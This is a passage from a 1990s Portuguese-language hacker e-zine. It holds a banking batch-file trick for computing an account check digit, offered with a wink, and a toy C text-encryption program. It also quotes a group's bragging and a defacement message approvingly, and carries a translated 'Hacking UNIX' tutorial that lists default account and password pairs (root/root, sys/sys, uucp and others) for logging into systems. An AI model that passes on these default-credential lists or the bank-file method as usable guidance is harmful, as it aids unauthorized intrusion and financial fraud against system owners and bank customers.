vc's tem agora todo o Header para entender o conteúdo do arquivo mais ainda tem um pequeno macete q me deixou horas até entender como funcionava ai vai o macete para ver o Código da agência. No campo número de conta do depositante na posição (83 a 94), devera ser informado o número da conta-corrente do depositante, porém com o algarismo "1" (um) fixo na posição 83, ou seja na primeira posição do campo conta corrente. Ele tera o Código da Agência e o número da conta-corrente para ver o numero vamos fazer o seguinte: Numero da conta corrente 0644080325-9 como Exemplo: 0x8 = 00 6x9 = 54 4x2 = 08 4x3 = 12 0x4 = 00 8x5 = 40 0x6 = 00 3x7 = 21 2x8 = 16 5x9 = 45 --------> 196 com a soma divide-se por 11 e o resto é o numero do digito 196/11 = 17 com resto igual a 9 :)))))) Bem o fechamento do lote também tem um Header mais eu não vou passar poisisto não emporta mais, o interessante já foi dado a gora galera e só brincar heheheh mais eu não me responsabilizo por nada q vc's venha a fazer, por favor galera q esta começando hoje em dia os bancos estão bem protegidos não tentem fazer nada que vc's venham a se arrepender mais tarde. SouHA (c) copyright 1998 - icmp member ┌────────────────────────────────────────────────────────────────────────────┐ │ 8. ICMP CRYPTOR │ └────────────────────────────────────────────────────────────────────────────┘ Bom galera, este aqui em um programa em para criptografar textos... Aqui vai uma pequena explicacao sobre criptografia... Existem dois tipos de criptografia, de chave simetrica, e de chave assimetrica. O negocio e o seguinte, na criptografia de chave simetrica, vc escolhe uma chave, por exemplo: 123, ai pra vc fazer o texto voltar ao normal, ou seja, descriptografar ele, vc precisa ter essa chave certo... Bom, mas assim ainda seria muito facil, entao existe tb a criptografia de chave assimetrica. Com ela no negocio funciona da seguinte maneira, quando vc roda o seu programa pela primeira vez, ele cria duas chaves para vc, a chave publica e a chave privada... Pra quem nao sabe, um exemplo de programa para criptografia com chave assimetrica e o PGP. Ai vc manda a chave publica para todo mundo, e quando o cara quiser criptografar um texto, programa, menssagem, sei la o que, ele vai criptografar usando a sua chave publica... Dai so sera possivel desencriptar o texto usando a sua chave privada... E isso ai, so vc tem a sua chave privada, entao so vc pode ler a menssagem. E claro que desta forma o processo fica muito + lento... Mas e muito + seguro. Ai existem muitas variacoes, por exemplo, se vc encriptar uma menssagem usando a sua chave privada, o q q acontece? So vao poder ler a menssagem, desencriptando com a sua chave publica, ou seja, desta forma vc assegura q a menssagem veio de vc mesmo. Hoje em dia, a opcao que muita gente usa, e o seguinte... ... Vc pega e encripta um texto, por exemplo, usando a criptografia de chave simetrica, vai encriptar rapidinho... Ai vc faz o seguinte vc encripta a senha com o PGP (chave assimetrica) Pronto! Agora vc chegou na melhor parte... Conseguiu encriptar o texto rapido, usando chave simetrica, mas ao mesmo tempo vc continua com bastante seguranca, pois a senha q vc vai enviar para a outra pessoa, esta criptografada com chave assimetrica. Em suma e isso ai, agora, dentro da criptografia ainda existem milhoes de coisas... Por exemplo, o + simples e simplesmente a substituicao... Ou seja, vc troca todos os caracteres... Por exemplo rodar todas as letras do alfabeto em uma posicao... A vai pra B, B vai pra C, C pra D, e assim por diante... Dai pra frente, existem muitas possiblidades pra vc brincar... Vc pode encriptar de dois em dois, tres em tres, ou encriptar baseado no ultimo caractere, ou nos ultimos.. Sei la... Por exemplo AB, GB, HB, o B seria encriptado de varias maneiras diferentes, pois o algoritimo levaria em consideracao a letra (codigo) q veio antes... Vc pode tambem usar criptografia bit a bit.. Ai e com vc... Ja e um pouco + complicado, mas e so vc entender como funcionam as instrucoes do tipo AND, OR, XOR, NOT e etc... Por exemplo se vc der um shift pra direita... Ja o suficiente para deixar a menssagem ilegivel... hehehee agora imagina se agente juntar tudo isso? Aqui vai um programa q eu fiz em C... Ainda esta bem basico, mas da pra aprender... Se alguem quiser implementar ele pode, mas deixa quem q fez ele.. hehehe :) /***************************************************************************/ /* Programa de criptografia, by ICMP Security Group. */ /* Este programa ira funcionar corretamente com arquivos de modo texto */ /* comum, mas **pode** nao funcionar direito em arquivos no formato */ /* binario, devido as obvias diferencas entre ambos os formatos. */ /* Qualquer um esta livre para copiar, e alterar o programa em qualquer */ /* sentido, seja aumentando o numero de chaves, alterando ele para */ /* que funcione tambem no formato binario, modificando o seu algoritimo, */ /* ou qualquer outra coisa, contanto que deixe de onde ele foi */ /* tirado/modificado, e quem o escreveu... */ /* ... No caso eu! ehehehe :) */ /* O arquivo pode nao compilar direito em ambiente LINUX, mas nao e nada */ /* que algumas pequenas modificacoes nao corrija. */ /* Qualquer duvida eu posso ser encontrado no iCQ(11861869), ou na */ /* brasirc, nos canais #icmp , #Coders & #Hacker. */ /* XParanoiD */ /***************************************************************************/ #include #include #include #include int crypt(char *str, int p1, int p2, int p3); int dcrypt(char *str, int p1, int p2, int p3); int menuhelp(void); int (*xyz[])(char *str, int p1, int p2, int p3) = { crypt, dcrypt }; int main(int argc, char *argv[]) { FILE *fpo, *fps; char loadfrom[35], saveto[35], str[11], op; int p1, p2, p3; p1 = p2 = p3 = 2; puts("╔═════════════════════╗ (C) Copyright 1998"); puts("║ ICMP Kryptor 0.99b ║ by XParanoiD"); puts("╚═════════════════════╝ iCQ: 11861869\n"); if(argc != 4) { menuhelp(); return(0); } op = *argv[1]; strcpy(loadfrom, argv[2]); strcpy(saveto, argv[3]); if(op != tolower('e') && op != tolower('d')) { menuhelp(); return(0); } if(tolower(op) == 'e') op = 0; else op = 1; p1 = getpass("1º Chave: "); p2 = getpass("2º Chave: "); p3 = getpass("3º Chave: "); p1 = atoi(p1); p2 = atoi(p2); p3 = atoi(p3); if((p1 +p2 +p3) % 2 != 0) p1 -= 1; if((fpo = fopen(loadfrom, "r")) == NULL) { printf("\n\tArquivo %s nao encontrado!\n", loadfrom); return(1); } if((fps = fopen(saveto, "w")) == NULL) { printf("\n\tErro de gravacao no arquivo %s!\n", saveto); return(1); } while((fgets(str, 10, fpo)) != NULL) { (*xyz[op])(str, p1, p2, p3); fprintf(fps, "%s", str); } fclose(fpo); fclose(fps); puts(""); if(op) { printf("Arquivo (%s) desencriptado para (%s)\n", loadfrom, saveto); puts("Operacao concluida com sucesso!"); return(0); } printf("Arquivo (%s) encriptado para (%s)\n", loadfrom, saveto); puts("Operacao concluida com sucesso!"); return(0); } int crypt(char *str, int p1, int p2, int p3) { while(*str) { if(*str % 2 == 0) *str += p1 + p2 -p3; else *str += p1 -18 +p2 +p3; str++; } return(0); } int dcrypt(char *str, int p1, int p2, int p3) { while(*str) { if(*str % 2 == 0) *str -= p1 + p2 -p3; else *str -= p1 -18 +p2 +p3; str++; } return(0); } int menuhelp(void) { puts("ICMP: Parametros invalido!\n"); puts("\t╔═══════════════════════════════════════════════════════════╗"); puts("\t║ use: IMCP ║"); puts("\t╚═══════════════════════════════════════════════════════════╝\n"); puts("--> Onde 'e' para Encriptar, ou 'd' para Desencriptar.\n"); puts("Exemplos: ICMP e XParanoid.Txt Encript.Txt"); puts(" ICMP d Encript.Txt XParanoid2.Txt"); return(0); } XParanoiD - xparanoid@mailbr.com.br icmp security member. . .. RULEZ!!! .. . ┌────────────────────────────────────────────────────────────────────────────┐ │ 9. HUMILDADE... │ └────────────────────────────────────────────────────────────────────────────┘ Um belo dia surge um grupo chamado MOS - Masters of shadow... Logo no seu primeiro ( e unico) zine eles escreveram umas coisas que nao agradaram alguns verdadeiros hackers do brasil... leia isso abaixo e ria um pouco ( os cara da mos se acham os fodas. coitados... ) --- Nos somos do M.O.S., o melhor grupo underground do pais. Nos assumi- mos isso publicamente porque nos somos simplesmente os melhores. Nos somos eleet. ok, nos somos muito mais que isso, mas a unica coisa que vocÛ realmente precisa saber, e' que nos somos ELEET! VocÛs nos chamam de lamerz, mas por tras disso, esconde-se o fato de que vocÛ se quer consegue imaginar oque podemos fazer com a tecnologia, e como o fazemos. Esconde-se a sua inferioridade, e a mediocridade da sua falta de conhecimenTo. Nos somos tÒo bons que nem se vocÛ conseguise usar o maximo da merda do seu cerebro, poderia contar quantos hosts nos ja hackeamos. Se vocÛ ao menos tentasse descobrir os trojans que ja criamos e implantamos em cada servidor, vocÛ com certeza mijaria em suas calþas. Nos nÒo temos problemas de celular, pois horientamos a rota de nossas ligaþ§es. Nos podemos desligar seu telefone num piscar de olhos se assim nos interessar. podemos te achar no fim do mundo se preciso for. podemos propagar o CAOS, e impor o medo no mais incredulo dos coraþ§es. Nos hackeamos o estado , o governo, e a porra dos militares, nos fizemos o primeiro viruz de macro do paÝs! Nos ja infectamos e rootamos mais sistemas do que vocÛ seuer conse- gue imaginar! Nos somos da MOS, e podemos fazer o que quisermos. Vamos encarar os fatos, vivemos em um mundo de zeros e ums, em que quem comanda sua misera vida sÒo as maquinas, as quais vocÛ teme, pois nÒo consegue comprender. VocÛ e' tÒo burro que tem ate dificuldade em ler esse texto! VocÛ nÒo pode nos parar. Nos, nos escondemos na sombra do meio-dia, vivemos em outra realidade, a qual vocÛ tambem nÒo pode compreender... Nos, somos o inicio do cyber-caos, a reencarnaþÒo do mal. Nosso prazer e' lhe fazer de burro, tirar seu sono, tirar sua calma. Nosso prazer e' conseguir algo publico, que vocÛ despreza: o *conhecimento*. Nos, somos aqueles que farÒo vocÛ pensar 2 vezes antes de ligar o computador, ou usar o telefone. E tudo o que vocÛs lamerz podem tentar fazer para escapar a nossa furia, e' desligar-se da tomada.... NÒo tente se rebelar, do contrario, nos acharemos seu sistema, seu telefone, e vocÛ ira perceber que existem coisas piores que a morte... [Membros da MOS] ----- putz... leram isso? viram a humildade deles hehehhe? atÚ ai tudo bem... Um certo um cara que usa codname de sm0g decidiu invadir a page desses merdas da MOS e olha so o resultado... sm0g mandou bem no texto que ele botou na hp : Pois eh! Akeles que se diziam os maiores hackers do mundo, foram hu- milhados publicamente por um hacker chamado sm0g. Para ver a hp hackeada vß ao url members.xoom.com/moszine. A msg colocada no lugar da hp original foi: "Opz.. infelizmente o melhor grupo hacked do pais teve de ser desconectado devido a problemas tecnicos.. Em breve essa pagina vai tambem estar na seþÒo de "Hacked Hosts" da MOS he he... se eles ainda tiverem a moral de continuar essa merda de grupo depois disso.. Entao voces sao os bons? Os melhores do paÝs? Wiz4rd voce acha legal roubar ideia dos outros? Humildade colega.. humildade.. O codigo do B2 (q ta com pau porq eu nao terminei, mas tu Ú tao otario que nem isso sacou..) Ú meu. A ideia foi minha.. e vc Ú uma puta que gosta de aparecer, e pensa que Ú o maximo.. pois bem, aproveita agora e tenta hackear esse sisteminha d merda, porq eu estou com uma vontade enorme de deixar essa pagina aqui o resto da vida. Bah.. foda-se essa bosta de Masters Of Shadows. sm0g" --------------- UHAaehAUEAHEAUHEUHaeuhAEUHaeuhaeuh!!! Fico do karalho... Espero que eles tenham aprendido a lição e fazerem mais e falarem menos. :) ZeFuReNgA ┌────────────────────────────────────────────────────────────────────────────┐ │ 10. HACKEANDO UNIX │ └────────────────────────────────────────────────────────────────────────────┘ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + UNIX : Um Tutorial de como Hackear + + Por: Sir Hackalot (Traduzido e melhorado por LeBeau) + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ---------------------- o Intencao desse arquivo: ---------------------- Esse arquivo foi criado com a intencao de ser um tutorial de UNIX no comeco, para deixar voce mais familiar com o sistema operacional. UNIX e apenas um sistema operacional, como e o MS-DOS, AppleDOS, AmigaDOS. UNIX foi projetado para ser um multi-usuario-multi-tarefa sistema, trazendo a seguranca nao encontrada no MSDOS, AppleDOS, etc. Esse arquivo ira tentar ensinar aos iniciantes que nao tem uma pista de como usar o UNIX a ter um bom comeco, e podem, portanto, ensinar aos profissionais algo que eles nao sabiam antes. Esse arquivo foi feito com base no UNIX SYSTEM V e suas variantes. Quando eu falo sobre unix, e geralmente sobre SYSTEM V (rel 3.2). Esse arquivo pode ter algum erro de soletracao, etc, ou discrepencias uma vez que ele foi feito depois de muito tempo de escrita, devido a escola, trabalho, namorada, etc. Por favor, nao me chame de palhaco devido a esse arquivo. Se voce nao gostou, apague-o. Esse arquivo e distribuido dentro do PHAZE Inc. Aqui estao os membros (e ex membros) The Dark Pawn The Data Wizard Sir Hackalot (eu) Taxi (ummm... preso) Lancia (preso) The British Knight (preso) The Living Pharoah (preso) _____________________________________________________________________________ ------------- o Dedicacao: ------------- Esse arquivo e dedicado para os membros do LOD quemoram em Atlanta. Os membros que estao presos era otimos hackers, especialmente The Prophet. Boa sorte a voces caras, e eu espero ver voces de novo por ai. _____________________________________________________________________________ ------------------------ o Uma pequena historia: ------------------------ UNIX, e claro, foi inventado pela AT&T no anos 60, feito para ser "um sistema operacional de programadores." Enquanto que esse proposito nao foi alcancado nas primeiras versoes do UNIX, parece que agora, UNIX e um SO para programadores. O UNIX, como eu falei antes, e um multi-tarefa/multi-usuario SO. Ele tambem e escrito em C, ou pelo menos, grandes partes dele, o que faz dele um sistema operacional portatil. Nos sabemos que o MSDOS corresponde a maquinas IBM/clone, certo? Bem, esse nao acontece com o UNIX. Nos nao associamos ele com nenhum computador, uma vez que ele foi adaptado para muitos, e existem muitas variacoes de UNIX [ou seja, UNIX modificado por um vendedor, ou algo assim]. Alguns computadores AT&T roda ele, e tambem alguns rodam MSDOS [AT&T 6300]. As estacoes de trabalho SUN rodam SunOS, uma variante do UNIX, e alguns computadores rodam Ultrix, a versao VAX do UNIX. Lembre-se, na se mate quanto ao nome [BSD, UNIX,SunOS,Ultrix,Xenix, etc.], eles ainda tem muito em comum, tais como os commandos que o SO usa. Algumas variantes possuem comandos que os outros nao, mas eles sao basicamente similares no fato de eles terem quase todos os mesmos commandos/arquivos de dados. Quando alguem tenta falar a voce que o UNIX roda melhor com um certo tipo de computador, ele podem estar certos, mas lembre-se alguns computadores tem mais de um SO. Por outro lado, alguem pode falar para voce que o UNIX e para um VAX o que um MSDOS e para os IBM/clones. Isso e falso, e a unica razao que eu falei isso, e porque eu tenho visto muitas mensagens com info/comparacoes como essas, que confundem usuarios quando eles veem um sitema VAX rodando VMS. ____________________________________________________________________________ ------------------------------- o Identificando um login do UNIX ------------------------------- De agora em diante, eu vou estar me referindo a todas as variantes do UNIX como UNIX, assim, quando eu falo algo sobre UNIX, isso geralmente significa todas as variantes (Unix System V variantes que sao: BSD, SunOS, Ultrix, Xenix, etc.), a menos que eu fale de uma variante em particular. Ok. Agora e hora de eu contar de como o unix geralmente felicita voce. Primeiro, quando voce chama um UNIX, ou conecta com ele, voce ira ter geralmente um prompt como esse: login: Ok. E muito legal e bonito. Isso significa que e PROVAVELMENTE um unix, entretanto existem BBS's que alteram o seu login de entrada para ficar parecido com o do UNIX, o que algumas pessoas pensem que estao no Unix. [Hah!]. Alguns UNIXes ira mostrar uma mensagem antes do login: como por exemplo: Welcome to SHUnix. Please log in. login: Ou algo como isso. UNIXes de acesse publico [como BBS's publicas] irao mostrar a voce como dar um logon se voce e um novo usuario. Infelizmente esse arquivo nao fala sobre UNIXes de acesso publico, mas eu irei falar sobre eles mais tarde, na UUCP/UseNet/Bitnet. OK. Voce encontrou o prompt de login! Agora, o que voce precisa fazer aqui e entrar uma conta valida. Uma conta geralmente consiste de 8 caracteres ou menos. Depois de voce entrar em um conta, voce ira provavelmente pegar um prompt do Password de algum tipo. Os prompts podem variar como o codigo fonte do programa de login que geralmente vem com o UNIX. Bem, a maneira mais facil que eu posso falar sobre login e basicamente essa: tenha uma conta, ou tente os defaults. Os defaults sao os que vem com o SO, de maneira padrao. A lista de alguns dos Defaults sao as seguintes: CONTA PASSWORD ------- -------- root root - Raramente aberta para hackers sys sys / system / bin bin sys / bin mountfsys mountfsys adm adm uucp uucp nuucp anon anon anon user user games games install install reboot * veja abaixo demo demo umountfsys umountfsys sync sync admin admin guest guest daemon daemon As contas root, mountfsys, umountfsys, install, e algumas vezes sync sao contas com nivel de root, significado que elas tem poder de sysop, ou poder total Outras contas sao apenas contas de "nivel de usuario" significando que elas apenas tem poder sobre arquivos/processos que elas criaram. Eu falarei disso mais tarde, na secao de acesso a arquivo. O login reboot e conhecido como sendo um login de comando, que apenas simplesmente nao deixa voce entrar no SO, mas executa um programa dado a ele. Ele geralmente faz o que diz, reinicializa o sistema Ele pode nao ser padrao em todos os sistemas UNIX, mas eu o tenho visto no UNIX da UNISYS e tambem em alguns sistemas HP/UX [Hewlett Packard Unixes]. Assim, essas contas nao tinhas senhas [reboot], o que e realmente estupido. COMANDAR O LOGIN: --------------- Existe como "comandar o login", que, como reboot, executa um comando e depois da um log off permitindo voce usar o interpretador de comandos. BSD e notorio por ter esses, e consequentemente, tambem os computadores da MIT. Aqui vao alguns: rwho - mostra quem esta online finger - mesmo who - mesmo Esses sao os mais usados, uma vez que ele irao dar os nomes das contas que estao online, ou mostrando a voce muitas contas que atualmente existem. Erros: ------- Quando voce tem uma conta invalida / senhas invalida, ou ambos, ira aparecer algum tipo de erro. Geralmente e a messagem "login incorrect". Quando o computador mostra a voce isso, voce fez algo errado ou por ter errado a conta ou por ter errado a conta certa com uma senha errada. Ele nao mostra que erro que voce fez, por razoes. Tambem quando voce da um login incorreto, o log de erros no sistema e alterado permitindo que os sysops saibam algo sobre o invasor. Outro erro e "Cannot change to home directory" ou "Cannot Change Directory." Isso signica que nao existe "home directory" que e essencialmente o diretorio 'raiz' para uma conta, que e o diretorio que voce inicia. No DOS, voce comeca no A:\ ou C:\ ou em qualquer outro, mas no UNIX voce inicia no /homedirectory. [Nota: A / e usada nos diretorios no UNIX, nao um \ ]. Muitos sistemas ira dar um log off em vc depois disso, mas alguns irao mostrar que vc esta no diretorio raiz [ '/']. Outro erro e "No Shell". Quer dizer que nenhum "shell" foi definido para essa conta em particular. O "shell" sera explicado mais tarde. Alguns sistemas ira dar um log off em voce depois dessa messagem. Outros ira falar a voce que eles irao usar o shell regular, falando "Using the bourne shell", ou "Using sh" ----------------------------- Contas no Geral : ----------------------------- Essa secao e para tentar descrever a voce a estrutura do usuario no ambiente UNIX. Ok, pense que o UNIX tem 2 niveis de seguranca: poder absoluto, ou apenas um usuario regular. Aqueles que tem poder absoluto sao os usuarios com nivel de root. Ok, agora e hora de pensar em numeros. Numeros associados no UNIX com nomes de contas. Cada conta ira tem um numero. Algumas irao ter o mesmo numero. Aquele numer e o UID [user-id] da conta. O UID do root e 0. Qualquer conta que possua UID igual a 0 ira ter nivel root. Unix nao trata com os nomes de contas (logins) mas somente com o numero associado a elas. Portanto, se meu user-id e 50, e mais alguem e 50, nos dois iremos ter poder absoluto com o outro somente, com mais ninguem. _____________________________________________________________________________ --------------- Shells : --------------- Um shell e um programa executavel que carrega e roda quando um usuario entra, e esta na memoria. Esse "shell" pode ser qualquer programa executavel e esta definido no arquivo "passwd". Cada login pode ter um unico "shell". Ok. Agora o shell que nos geralmente iremos trabalhar e um interpretador de comandos. Um interpretador de comandos e simplesmente algo como o o COMMAND.COM do MS-DOS, que processa comandos, e envia eles depois para o kernel [sistema operacional]. Um shell pode ser qualquer coisa, como eu disse poder ser qualquer program mas o unico que voce precisa e um interpretador de comandos. Aqui estao o shells usuais que voce encontra: sh - Esse o shell basico. Ele e seu "COMMAND.COM" basico no UNIX. Ele tem uma linguagem em "script", como muitos do interpretadores de comandos no UNIX. csh - Esse e o shell do "C", que permite a voce entrar comandos em "C". ksh - Esse e o korn shell. Apenas outro interpretador de comandos. tcsh - Esse e um, que e usado na MIT eu acho. Permite edicao de comandos. vsh - visual shell. E um programa de menu. Algo tipo Windows rsh - restricted shell OU remote shell. Os dois serao explicados depois Existem muitos outros, incluindo os shells "homemade ", que sao programas escritos pelo dono do unix, ou para um unix especifico e eles nao sao padrao. Lembre-se, o shell e apenas o programa que voce pega para usar e quando voce para de executa-lo, voce da um log off. Um bom exemplo de um shell homemade e o Eskimo North, um unix de acesso publico o shell e chamado "Esh", e e algo tipo uma BBS de aperte-uma-tecla, mas olha so, ele continua sendo um shell. O numero para o eskimo north e 206-387-3637. [206-For-Ever]. Muitas companhias usam Processadores de Texto, banco de dados, e outras coisas como um shell para o usuario, para prevenir abuso, e fazer a vida melhor para o usuario como operadores de computadores sem pratica. Muitos hospitais medicos usam esse tipo de shell na Georgia, a felizmente, esse programas possuir enormes falhas no UNIX. Tambem, uma BBS pode rodar com um shell. Tente a Jolnet [312]-301-2100, eles dar a voce uma escolha entre um interpretador de comandos ou um shell de BBS. Quando voce tem um interpretador de comandos, o prompt geralmente e um: $ quando voce e um usuario root o prompt e geralmente um: # A variavel, PS1, pode ser alterada para ter um prompt. Exemplo, se PS1 e "HI:", seu prompt ira ser: HI: _____________________________________________________________________________ ------------------------ Caracteres especiais, ETc: ------------------------ Control-D : Fim do arquivo. Quando usar mail ou um editor de textos, isso ira finalizar a messagem ou arquivo texto. Se voce esta no shell e aperta control-d voce estara desconectado. Control-J: Em alguns sistemas, isso e como a tecla enter. @ : Algumas vezes um "null" ? : Isso e um coringa. Pode representar uma letra. Se voce especificar algo na linha de comando como "b?b" Unix ira procurar por bob,bib,bub, e qualquer outra letra/numero entre a-z, 0-9. * : isso pode representar qualquer numero de caracteres. Se voce especificar um "hi*" Ele ira usar "hit", him, hiiii, hiya, e qualquer coisa que inicie com hi. "H*l" pode ser hill, hull, hl, e qualquer coisa que comece com um H e termine com um L. [] - Especifica um padrao. se eu fiz b[o,u,i]b unix ira pensar: bib,bub,bob se eu fiz: b[a-d]b unix ira pensar: bab,bbb,bcb,bdb. Entendeu mermao? O [], ?, e * sao geralmente usado com o copy, deletando arquivos, e listagens de diretorios. QUALQUER COISA no Unix e sensitivo quanto a maiscula/minusculas. isso significa que "Hill" e "hill" nao sao a mesma coea. isso permite que muitos arquivos sejam armazenados, uma vez que "Hill" "hill" "hIll" "hiLl", etc. sao arquivos diferentes. Assim, quando usar o [], voce tem que especificar letras em maiusculas se algum arquivo que voce estiver procurando tem letras maiusculas. No entanto, a maioria esta em minusculas. ---------------- Comandos para usar: ---------------- Agora, eu vou mostrar alguns do mais usados comandos do UNIX, eu agirei como se estivesse digitando no prompt. ls - isso mostra o diretorio. Sem argumentos, ele ira apenas mostrar arquivos em uma coluna ou em multi-colunas, dependendo do programa ls que voce tem acesso. example: $ ls hithere runme note.text src $ a opcao -l ira dar a voce informacao a mais nos arquivos. $ ls -l rwx--x--x sirhack sirh 10990 runme e assim vai.... O "rwx--x--x" e a permissao do arquivo. [Explicada mais tarde] o "sirhack sirh" e o proprietario do arquivo/grupo onde o arquivo esta. sirhack = dono, sirh = grupo de usuario [explicado mais tarde] o 10990 e o tamanho do arquivo em bytes. "runme" e o nome do arquivo. O formato varia, mas voce tem a ideia geral. cat - Isso mostra o conteudo do arquivo na tela. deve ser usado em arquivos textos. apenas use isso com arquivos binarios para deixar o usuario louco [explicado mais tarde] ex: $ cat note.txt This is a exemplo text file! $ cd - muda diretorio . Voce usa ele assim: cd /dir/dir1/dir2/dirn. o dir1/etc.... descreve o nome do diretorio. Digamos que eu queira ir para a raiz. ex: $ cd / *ok, estou aqui* $ ls bin sys etc temp work usr todos os acima sao diretorios, vamos ver. $ cd /usr $ ls sirhack datawiz prophet src violence par phiber scythian $ cd /usr/sirhack $ ls hithere runme note.text src $ ok, agora, voce nao tem que entrar o nome do diretorio completo, se voce estiver no directorio, e quer ir para um diretorio que esta ali [seria o "src"], voce pode digitar "cd src" [sem "/"]. Em vez de usar "cd /usr/sirhack/src" a partir do diretorio sirhack, voce pode fazer "cd src" cp - isso copia um arquivo. sintaxe para isso e "cp origem destino" $ cp runme runme2 $ ls hithere runme note.text src runme2 Caminhos completos podem ser incluidos, para copiar de um diretorio para outro. $ cp runme /usr/datwiz/runme mv - isso renomeia e/ou move um arquivo. sintaxe "mv nomeatual novonome" $ mv runme2 runit $ ls hithere runme note.text src runit Arquivos podem ser renomeados para outros diretorios. $ mv runit /usr/datwiz/run $ ls hithere runme note.text src $ ls /usr/datwiz runme run pwd - fornece o diretorio atual $ pwd /usr/sirhack $ cd src $ pwd /usr/sirhack/src $ cd .. (Tem espaco entre cd e ..) $ pwd /usr/sirhack [ o ".." significa o diretorio anterior. ] $ cd ../datwiz [significa cd /usr/datwiz] $ pwd /usr/datwiz $ cd $HOME [vai para o diretorio home] $ pwd /usr/sirhack rm - apaga um arquivo. sintaxe "rm arquivo" ou "rm -r diretorio" $ rm note.text $ ls hithere runme src $ write - chat com outro usuario. Bem, "escreve" para outro usuario. sintaxe: "write usuario" $ write scythian scythian foi notificado Hey Scy! What up?? Message from scythian on tty001 at 17:32 hey! me: So, hows life? scy: ok, I guess. me: gotta go finish this text file. scy: ok me: control-D [para sair do programa] $ who [w,who,whodo] - mostra quem esta conectado $ who login term logontime scythian + tty001 17:20 phiberO + tty002 15:50 sirhack + tty003 17:21 datawiz - tty004 11:20 glitch - tty666 66:60 $ o comando "who" varia a partir da informacao dada. um "+" significa que voce pode dar um "write" para aquele terminal, um "-" significa que voce nao pode. man - mostra o manual de algum comando. sintaxe "man comando" Esse e um programa de ajuda. Se voce quiser saber como usar o comando "who" voce faria: $ man who WHO(1) xxx...... e ele vai mostrar a voce. stty - altera as caracteristicas do seu terminal. Voce tera que dar um "man stty" uma vez que cada stty e diferente. um exemplo pode ser: $ stty -parenb para fazer os parametros de dados serem N,8,1. Um monte de Unixes operam com e,7,1 por padrao. sz,rz - envia e recebe via zmodem rx,sx - envia e recebe via xmodem rb,sb - envia via batch ymodem. Esses 6 programas podem ou nao estar no unix. umodem - envia/recebe via umodem. $ sz arquivo pronto para enviar... $ rz filename por favor envie seu arquivo.... ...etc.. ed - editor de textos. Usar "ed arquivo" para criar um arquivo que nao existe, apenas entre "ed arquivo" algumas versoes do ed ira dar a voce um prompt, como "*" outros nao $ ed textonovo 0 * a This is line 1 This is line 2 [control-z] * 1 [para ver a primeira linha] This is line 1 * a [continua acrescentando] This is line 3 [control-z] *0a [acrescenta depois da linha 0] This is THE first line [control-z] 1,4l This is THE first line This is line 1 This is line 2 This is line 3 * w 71 * q $ O 71 e o numero de bytes escritos. a = acrescenta l = lista # = mostra o numero da linha # w - escreve l arq = carrega arq s arq = salva para arq w = escreve para arquivo atual q = sai mesg - altera permissao de escrever ligado/desligado para seu terminal (permite chat) formato "mesg y" ou "mesg n" cc - O compiler C. explicado mais tarde. chmod - altera o modo de um arquivo. Muda o acesso em outras palavras. sintaxe: "chmod modo arquivo" $ chmod a+r newtext Agora qualquer um pode ler pode ler o newtext. a = todos (u = voce / g = seu grupo / o = outros grupos) r = leitura. (w = escrever / x = executar) Isso sera explicado mais tarde na secao de acesso a arquivos. chown - altera o dono de um arquivo. sintaxe: "chown novodono arquivo" $ chown scythian newtext $ chgrp - altera o grupo [explicado mais tarde] de um arquivo. sintaxe: "chgrp group file" $ chgrp root runme $ finger - mostra info basica de uma conta. Formato: finger conta grep - procura por texto em um arquivo. sintaxe: "grep texto arquivo" $ grep 1 newtext This is Line 1 $ grep THE newtext This is THE first line $ grep "THE line 1" newtext $ mail - Esse e um utilitario muito usado. Obviamente, voce ja sabe o que isso faz pelo nome. Existem muitos utilitarios pada o mail, como o ELM, MUSH e MSH, mas o programa basico de "mail" e chamado de "mail". O modo de usar e: "mail nome@conta" ou "mail nome" ou "mail" ou "mail ender1!ender2!ender3!usuario" "mail nome@endereco" - Isso e usado para enviar mail para alguem em outro sistema, que e geralmente outro UNIX, mas algumas maquinas DOS e algumas maquinas VAX recebem o E-mail do UNIX. Quando voce usa "mail nome@endereco" o sistema que voce esta deve ter um "carteiro esperto" [conhecido como smail], e deve ter o que nos chamamos de mapas do sistema. O smail ira encontrar o "emdereco" dado com o comando e expandilo para o caminho completo geralmente. Eu podia fazer como isso: mail phiber@optik e depois fazer isso no computador: mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber Nao ligue para isso, Eu estou apenas explicando o principal da coisa. Agora, se nao tiver nenhum smail conectado, voce tera que saber o caminho completo ate a conta da pessoa. Exemplo, eu quero enviar um email para o .. phiber. Eu faco isso, caso eu nao tenha smail: $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber Hey Guy. Whats up? Well, gotta go. Nice long message huh? [control-D] $ Assim, quando ele receber ele, devera existir uma 20 linhas de informacao, com uma marcacao de cada sistema que minha messagem passou, e a linha "from" vai estar assim: From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack Agora, para correio local, apenas digite "mail nome" onde nome e a conta que voce quer enviar o mail. Depois digite sua messagem. Depois finalize com um control-D. Para ler o e-mail, apenas digite mail. Ex: $ mail From scythian ............ To sirhack ............ Subject: Well.... Arghhh! ? Os pontos representam dados omitidos. Cada programa de email possui seu proprio cabecalho. Aquele ? e um prompt. No prompt eu posso digitar: d - deleta f nome - reenvia para nome w arq - escreve a mensagem para um arquivo chamado arq. s arq - salva a messagem com cabecalho para um arquivo q - sai / salva o e-mail x - sai, mas nao salva nada m nome - mail para o nome r - devolve [enter] - le a proxima mensagem + - adianta uma messagem - : volta um h - imprime o cabecalho das mensagens que estao na sua caixa de correio. Existem mais, para ve-las, digite '?'. -------- Se voce envia mail para alguem de fora do seu sistema, voce tera que espera um longo tempo para uma noficacao de recebimente, uma vez que e apenas uma letras. Um "carteiro" tera que pegar ela. O sistema pode desconectar, e usar UUCP para transferir e-mail. Geralmente, contas uucp nao sao boas para ninguem, a menos que voce tenhas uucp disponivel para interceptar e-mail. ps - processo. Esse comando permite a voce ver o que voce esta atualmente fazendo na memoria. Toda vez que voce roda um programa, ele fica ligado a um numero de identificacao de processo (PID), para fins de controle de contas, e assim ele pode ser encontrado na memoria, ou ser apagado por voce, ou pelo root. Geralmente, a primeira coisa em uma listagem de processo pelo "ps" e seu nome shell. Digamos eu esteja conectado como sirhack, usando o shell "csh" e rodando "watch scythian". O program de escuta deve estar no background, significando que ele e capaz de fazer coisas enquando ele estiver rodando: $ ps PID TTY NAME 122 001 ksh 123 001 watch $ Isso e um PS encurtado. E uma listagem padrao [curta por sinal]. A coluna TTY 